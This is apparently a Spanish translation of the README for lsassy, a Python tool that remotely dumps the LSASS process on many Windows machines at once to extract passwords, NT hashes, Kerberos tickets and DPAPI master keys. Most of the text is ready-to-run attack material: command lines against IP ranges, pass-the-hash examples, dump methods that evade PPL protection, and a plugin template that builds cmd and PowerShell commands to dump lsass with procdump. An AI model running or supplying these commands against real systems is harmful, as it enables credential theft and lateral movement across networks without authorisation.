
Extraer credenciales de lsass de forma remota
Herramienta en Python para extraer credenciales de forma remota en un conjunto de equipos. Esta entrada de blog explica cómo funciona.
Esta herramienta utiliza el proyecto impacket para leer de forma remota los bytes necesarios en el volcado de lsass y pypykatz para extraer credenciales.
| Capítulos | Descripción |
|---|---|
| Advertencia | Antes de usar esta herramienta, lee esto |
| Instalación | Instalación de lsassy |
| Uso básico | Uso básico de lsassy |
| Uso avanzado | Uso avanzado de lsassy con explicación de parámetros |
| Añadir método de volcado | Cómo añadir un método personalizado de volcado de lsass |
| Agradecimientos | Reconocimientos a estas personas y herramientas |
| Discord oficial | Servidor oficial de Discord |
Aunque he hecho todo lo posible para que la herramienta sea estable, pueden quedar rastros si se producen errores.
Esta herramienta puede dejar algunos volcados de lsass si no logra eliminarlos (aunque hace todo lo posible) o dejar una tarea programada ejecutándose si falla al eliminarla. Esto no debería ocurrir, pero podría ocurrir. Ahora lo sabes, úsala con precaución.
lsassy funciona con python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy funciona directamente en múltiples objetivos (IP(s), rango(s), CIDR(s), nombre de equipo(s), FQDN(s), archivo(s) que contienen una lista de objetivos)
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos
lsassy [-d dominio] -u pixis -H [LM:]NT objetivos
Por defecto, lsassy intentará volcar lsass de forma remota usando el método comsvcs.dll, ya sea a través de WMI o de una tarea programada remota.
lsassy puede autenticarse con Kerberos. Requiere un TGT válido en la variable de entorno KRB5CCNAME. Consulta el uso avanzado para más detalles.
lsassy -k objetivos
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
En lsassy están implementados diferentes métodos de volcado de lsass, y se ofrecen algunas opciones para dar control al usuario sobre cómo procederá la herramienta.
lsassy está dividido en módulos
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Este módulo es el orquestador. Crea la clase lsassy con los argumentos y opciones proporcionados, y luego llama a los diferentes módulos para recuperar las credenciales.
Este módulo se utiliza para fines de registro.
Es una capa construida sobre Impacket para comportarse como un objeto de archivo nativo de Python. Sobrescribe métodos como open, read, seek o close.
Este módulo contiene toda la lógica de volcado. Dependiendo del método utilizado, ejecutará código en el equipo remoto para volcar lsass utilizando el método proporcionado.
Este módulo se basa en pypykatz y utiliza el módulo de archivo de lsassy para analizar de forma remota el volcado de lsass.
Este módulo maneja la parte de salida, ya sea en pantalla en diferentes formatos y/o guardando los resultados en un archivo.
Esta herramienta puede volcar lsass de diferentes maneras.
Métodos de volcado (-m o --method)
Este método solo utiliza archivos integrados de Windows para extraer credenciales de forma remota. Utiliza la función minidump de comsvcs.dll para volcar el proceso lsass.
Este método sube procdump.exe de SysInternals para volcar el proceso lsass.
Este método sube dumpert.exe o dumpert.dll de outflanknl para volcar el proceso lsass usando syscalls.
Este método sube NativeDump.exe de ricardojoserf para volcar el proceso lsass usando solo NTAPIs.
Este método sube ppldump.exe de itm4n para volcar el proceso lsass y evadir PPL.
Este método sube Mirrordump.exe de Ccob para volcar lsass usando un identificador ya abierto de lsass mediante un plugin LSA.
Este método utiliza la técnica WER utilizada en PowerSploit.
Para algunos métodos de volcado, se requieren opciones, como la ruta de procdump o dumpert. Estas opciones se pueden establecer usando --options o -O con una lista separada por comas de opciones en formato clave=valor.
... --options clave=valor,foo=bar
Por ejemplo:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Puedes elegir analizar un proceso lsass ya volcado proporcionando el parámetro --parse-only, junto con los parámetros --dump-path y --dump-name.
Ten en cuenta que si eliges este método, el volcado remoto de lsass no se eliminará.
Por ejemplo:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
Si no deseas que el volcado se elimine automáticamente después de la ejecución de lsassy, puedes usar --keep-dump.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Los tickets Kerberos se extraerán y guardarán en $HOME/.config/lsassy/tickets en formato ccache. Puedes especificar el directorio de salida usando el parámetro -K [directorio] o --kerberos-dir [directorio]. Si este directorio no existe, la herramienta intentará crearlo antes de exportar los tickets.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
Las claves maestras DPAPI se extraerán y guardarán en $HOME/.config/lsassy/masterkeys.txt en formato {GUID}:SHA1. Puedes especificar la ruta del archivo de claves maestras usando el parámetro -M [ruta] o --masterkeys-file [ruta]. Si la ruta del archivo no existe, la herramienta intentará crearla antes de crear el archivo.
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hckn.lab -M '/tmp/keys.txt'
Hay tres formas diferentes de autenticarse contra equipos remotos usando lsassy. El único requisito es que el usuario debe tener derechos de administrador local en los equipos remotos.
La primera y más obvia es usando credenciales en texto claro. Puede ser un usuario local o de dominio.
## Usuario local
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## Usuario de dominio
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
También es posible autenticarse usando el hash NT del usuario. Puedes proporcionar LM:NT o solo la versión NT.
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## O
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
También puedes autenticarte usando Kerberos. Para que funcione, necesitarás tener un ticket válido guardado en disco, y la ruta del ticket debe proporcionarse en la variable de entorno KRB5CCNAME. Con fines de prueba, esto se puede lograr usando la herramienta getTGT.py de impacket.
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
Este comando solicitará un TGT y lo guardará en el archivo jsnow.ccache.
Para que lsassy sepa qué ticket usar, deberás establecer explícitamente la ruta del ticket en la variable de entorno KRB5CCNAME.
export KRB5CCNAME="/home/pixis/jsnow.ccache"
Cuando esté configurado correctamente, podrás usar ese ticket para autenticación mediante el parámetro -k. Como estás usando este ticket, ya no necesitas proporcionar otra información de autenticación.
lsassy -k server01.hackn.lab
Ten en cuenta que para que esto funcione, necesitarás una configuración DNS válida, ya sea dinámica con un servidor DNS válido, o estática usando el archivo hosts. Además, siempre debes usar FQDN al generar tickets y usar lsassy, es decir, usa server01.hackn.lab en lugar de server01.
lsassy puede mostrar credenciales en diferentes formatos usando la bandera --format o -f.
Formato por defecto, credenciales limpias y bonitas mostradas con colores dorados. En las credz confiamos.
lsassy [-d dominio] -u pixis -p P4ssw0rd --format pretty objetivos
Muestra el resultado en formato json. Puede ser útil cuando se llama desde un script.
lsassy [-d dominio] -u pixis -p P4ssw0rd --format json objetivos
Salida grepeable que puede ser útil en comandos de una línea.
lsassy [-d dominio] -u pixis -p P4ssw0rd --format grep objetivos
No muestra el resultado. Útil cuando se usa --outfile.
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos --format none
Guarda el resultado en un formato grepeable en el archivo proporcionado (--outfile o -o).
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos --format json --outfile /tmp/credentials.txt
Si solo deseas obtener las credenciales de los usuarios, filtrando las credenciales de los equipos, puedes usar la bandera --users.
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos --users
Si no deseas que se exporten tickets, puedes usar la bandera --no-tickets.
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos --no-tickets
Si no deseas que se exporten claves maestras, puedes usar la bandera --no-masterkeys.
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos --no-masterkeys
Puedes decidir cuántos hilos usar [1-256] usando el parámetro --threads.
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos --threads 32
Hay un archivo dummy.py.tpl en el directorio dumpmethod. Este archivo contiene la estructura básica para crear una nueva funcionalidad de método de volcado.
Este método es obligatorio ya que es el método que se utilizará para ejecutar código en el equipo remoto con el fin de volcar lsass de alguna manera. Debe devolver un diccionario con dos elementos: cmd y pwsh.
El comando cmd es un comando entendido por la utilidad cmd.exe. El comando pwsh es un comando entendido por powershell (la mayoría de las veces, el comando cmd también es válido en powershell).
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Existe una clase Dependency que se puede utilizar para subir fácilmente los archivos necesarios para el método de volcado, como procdump.exe de sysinternals. Se pueden usar dos métodos:
prepare_dependencies para verificar si todos los parámetros fueron proporcionados por el usuario para encontrar localmente el archivo en el disco del usuario y subirlo, y luego realmente subir el archivo.clean_dependencies para intentar eliminar los archivos subidos.Este método será llamado antes de ejecutar los comandos proporcionados por get_commands. Se puede usar para subir archivos o verificar cosas.
Este método será llamado después de ejecutar los comandos proporcionados por get_commands. Se puede usar para eliminar archivos subidos o limpiar cosas.
Aquí hay un ejemplo de procdump con algunos comentarios.
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
Si tu método de volcado no puede generar un archivo de volcado con un nombre personalizado, debes establecer esta configuración en False
y descomentar 'dump_name' para proporcionar el nombre esperado del archivo de volcado en el sistema remoto.
"""
custom_dump_name_support = True # Por defecto: True
# dump_name = "" # Por defecto: Nombre de archivo aleatorio
"""
Si tu método de volcado no puede generar un archivo de volcado en un directorio personalizado, debes establecer esta configuración en False
y descomentar 'dump_share' y 'dump_path' para proporcionar la ubicación esperada del archivo de volcado en el sistema remoto.
Si tu herramienta de volcado puede tener un nombre de volcado personalizado pero no una extensión personalizada, proporciona la extensión del volcado en la variable dump_ext.
En este ejemplo, procdump.exe generará un volcado donde queramos, con un nombre que elijamos, pero siempre agregará una extensión .dmp.
"""
custom_dump_path_support = True # Por defecto: True
# dump_share = "" # Por defecto: "C$"
# dump_path = "" # Por defecto: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ está sobrecargado para crear algunas variables de instancia
"""
super().__init__(session, timeout)
"""
Este módulo requiere que se suba procdump.exe al servidor remoto antes de ser ejecutado.
Por lo tanto, agregamos procdump como una dependencia. El primer argumento es un nombre para nuestra dependencia (puede ser arbitrario),
y el segundo argumento es el nombre ejecutable predeterminado en el disco del usuario local.
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
El método prepare está sobrecargado para que podamos
- verificar si se proporcionaron los parámetros obligatorios
- subir procdump al equipo remoto.
Todo esto se puede hacer usando el método prepare_dependencies de nuestro objeto Dependency.
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
El método clean está sobrecargado para que podamos eliminar nuestra dependencia si fue subida.
El método clean_dependencies hará esto por nosotros.
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
El método get_commands está sobrecargado ya que es obligatorio.
Se proporcionan y devuelven dos formas diferentes de volcar lsass con cmd.exe y powershell.
El método get_remote_path de nuestro objeto Dependency se usa para obtener la ruta remota correcta
de procdump en nuestro objetivo.
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
Puedes consultar la clase dummy para más comentarios y/o información.
